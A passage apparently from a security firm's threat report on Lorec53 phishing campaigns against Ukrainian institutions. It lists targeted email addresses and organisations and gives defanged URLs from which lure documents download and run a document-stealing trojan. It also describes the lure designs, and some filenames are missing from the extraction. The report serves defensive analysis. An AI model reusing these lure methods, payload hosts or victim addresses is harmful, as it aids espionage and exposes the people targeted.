+kevzp@post.mil.gov.ua
+Press and Information Department of the Ministry
+of Defense of Ukraine
+i.kozarovska@ukrburgas.com.ua
+UkrGasVydobuvannya JSC Branch Ukrburgaz
+kanivkamvo@ukr.net
+Department of Education, Executive Committee,
+Kanif City Council, Cherkassy Region
+t.litovko@direkcy.atom.gov.ua
+VP KB ATOMPRILAD DP NAEK ENERGOATOM
+timm93@ukr.net
+Ministry of Finance of Vasilevka, Zaporozhye
+Oblast, Ukraine
+office.cherv@lv.treasury.gov.ua
+Ministry of Finance of Chervonohrad, Lviv Oblast,
+Ukraine
+kevplt_kes@post.mil.gov.ua
+babich-ka@utg.ua
+UKRTRANSGAZ AG
+kevplt_zhytlo@post.mil.gov.ua
+5/12
+corruption@direkcy.atom.gov.ua
+Ukrainian state-owned enterprise "NNEGC"
+Energoatom"
+emb_jp@mfa.gov.ua
+Embassy of Ukraine in Japan
+genotdel@odessa.gov.ua
+Odessa Oblast Administration of Ukraine
+zoya_skl@ukr.net
+Ministry of Finance, Oleshandrivka District,
+Kirovolad Oblast, Ukraine
+ruslan.marunia@bank.gov.ua
+Department of Currency Circulation, National
+Bank of Ukraine
+malyshev.tender@ukroboronprom.com
+Maleshev Plant
+emb_pl@mfa.gov.ua
+Embassy of Ukraine in Poland
+irudksu@i.ua
+Ministry of Finance, Irshava District, Zakarpatia
+Region, Ukraine
+emb_lt@mfa.gov.ua
+Embassy of Ukraine in Lithuania
+emb_fi@mfa.gov.ua
+Embassy of Ukraine in Finland
+abashinao@kv.treasury.gov.ua
+Ministry of Finance of Kiev, Ukraine
+1545@ukc.gov.ua
+Ukrainian Government Hotline 1545
+tetiana.rupcheva@bank.gov.ua
+Monetary Policy and Market Operations
+Department of the National Bank of Ukraine
+pr@atom.gov.ua
+Ukrainian state-owned enterprise "NNEGC"
+Energoatom"
+1201_buhg@dmsu.gov.ua
+Dnipropetrovsk Oblast Immigration Office of
+Ukraine
+kherson_kev@post.mil.gov.ua
+Ministry of Housing and Operations of Kherson
+Oblast, Ukraine
+sholyak27@ukr.net
+Ministry of Finance of the Transcarpathian State
+of Ukraine
+office@novator-tm.com
+Ukrainian state-owned enterprise "Novator"
+mps@industrialbank.ua
+AKB Industrialbank PAT
+v.harchenko@mil.gov.ua
+Table 4.1 Email addresses and corresponding organizations in phishing emails
+The associated information of these email addresses shows that the main goal of Lorec53 in this
+phishing attack is early detection and information collection, which is the same as the
+organization's previous activities.
+6/12
+The malicious macro in these phishing documents will download and run the Trojan at
+http[:]//3237[.]site/test01.exe. Also associated with this domain is a phishing shortcut file named
+.lnk" (a special file of the Ukrainian Security Service.lnk), and a known
+Lorec53 Trojan named "08-2021.cpl" LorecCPL, so The direct correlation of this domain name to
+Lorec53 can be confirmed.
+Figure 4.2 The main logic part of the LorecCPL Trojan
+A malicious shortcut file named "
+.lnk" was also used by Lorec53 in
+several attacks. Lorec53 constructs named "sadovska-iiutg.ua.zip", "feukslpost.mil.gov.ua.zip",
+"n.lashevychdirekcy.atom.gov.ua.zip", "feukslpost.mil.gov.ua. zip
+, etc., and put this malicious
+shortcut file in the same folder as a large number of non-toxic decoy files, expecting the victim to
+run the malicious file while browsing file by file. This baiting method also fits with Lorec53's
+historical approach.
+7/12
+Figure 4.3 Decoy zip file directory, red is the malicious shortcut file
+From the name of the compressed package, it can be seen that the target of this attack is similar to
+and partially overlapped with the aforementioned personal economic sanctions phishing
+document, which can be speculated to be the same series of attacks.
+4.2 Attack event 2
+Another phishing attack occurred between December 2021 and February 2022.
+In early February, Lorec53 produced a series of phishing documents with the theme of
+" (criminal report), which were delivered in the form of
+pdf vulnerability files and docx malicious macro files.
+The phishing document named "
+.pdf" (criminal
+report.pdf) displayed the words "please update" when opened.
+8/12
+Figure 4.4 Phishing document titled "Crime Report"
+This is the commonly used pdf decoy construction method for Lorec53, the file is used to download
+the link
+https[:]//get.adobe.com.uk.reader.updateadobeacrobatreaderdc.stun[.]site/get.adobe.com.uk.reader/
+Trojan programs corresponding to
+get.adobe.com.uk.reader/get.adobe.com.uk.reader/AdobeAcrobatUpdate.exe. The trojan is a
+packaged LorecDocStealer (also known as OutSteel) trojan, which is used to steal various
+document files on the victim's host. The shell wrapping technique used by Lorec53 on this Trojan
+is very common in AgentTesla spyware.
+A similar phishing document "
+).docx" was opened to display images and textual information with obvious Lorec53
+lure build characteristics.
+9/12
+Figure 4.5 Phishing document titled 
+Crime Report (Belous Alexei Sergeevich)
+The document is disguised as a document of the investigation department of the Ukrainian
+National Police. By blocking the image and red prompt information, it induces the victim to click
+the icon ole object in the document, and then execute the js script, download and run
+https[:]//cdn.discordapp[.] Trojan in
+com/attachments/932413459872747544/938291977735266344/putty.exe. The Trojan is also the
+packaged LorecDocStealer (OutSteel) Trojan.
+10/12
+With reference to the aforementioned attack incident, the unobfuscated email address
+o.bilous@ukrtransnafta.com in this document may be the email address of the direct victims of
+this incident. The affiliate company of this mailbox is UKRTRANSNAFT Joint Stock Company of
+Ukraine.
+In addition, the docx phishing document was also captured and published by the Ukrainian
+Computer Emergency Response Center (CERT-UA). In related reports
+(https://cert.gov.ua/article/18419), CERT-UA referred to the Lorec53 organization as the UAC0056.
+Through correlation analysis of the stun.site domain name that appeared in this attack, Fuying Lab
+confirmed a variety of decoy files released by Lorec53 from December 2021. These files include
+.lnk, .cpl, .rar and other formats, all of which are known decoy forms of Lorec53. The main
+function is to obtain and run the subsequent LorecDocStealer (OutSteel) Trojan from stun.site.
+4.3 Attack event 3
+The third attack incident mainly revolved around the domain name eumr[.]site.
+In early 2, Lorec53 structure called "
+" (electronic
+medical system to clarify the validity of electronic medical records, as well as the impact of the law)
+bait , delivered in the form of a zip archive. Based on the name of the decoy, it can be speculated
+that the file comes from an attack campaign against the Ukrainian medical system, which overlaps
+with previous Lorec53 targets.
+The malicious shortcut file in the compressed package is a typical Lorec53 phishing lure, used to
+download and run the Trojan program located at http[:]//eumr[.]site/up74987340.exe, which is
+the LorecDocStealer (OutSteel) spy Trojan.
+The file properties show that these decoy files were modified on January 31, 2022.
+The domain names and CnC communication addresses that appeared in this incident can be linked
+to a number of other malicious programs, which are various forms of wrappers for the
+LorecDocStealer (OutSteel) spyware.
+V. Summary
+The multiple attacks discovered this time are all part of the large-scale cyber attack activities
+carried out by Lorec53 (Lori Bear) in different time periods from the end of 2021 to February 2022
+against Ukrainian government departments, the military, and state-owned enterprises. The main
+targets of these attacks are still early detection and information collection, and they show the
+distinctive characteristics of Lorec53 at various stages.
+The phishing lures captured this time show that Lorec53 has indeed inherited the organization's
+mercenary hacking characteristics when operating a national-level cyber attack campaign. Lorec53
+will batch-produce and regularly adjust the content of phishing bait, with flexible download server
+11/12
+addresses and CnC addresses, to indiscriminately harass and attack the exposed mailboxes of key
+Ukrainian institutions. This large-scale attack idea is similar to Lorec53's early operation idea as
+an email botnet operator.
+With the changes in the situation in Eastern Europe, the activity of cyber espionage activities
+against Ukraine has increased significantly recently, and Fuying Lab will continue to pay attention
+to the progress of the activities of the Lorec53 organization.
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+12/12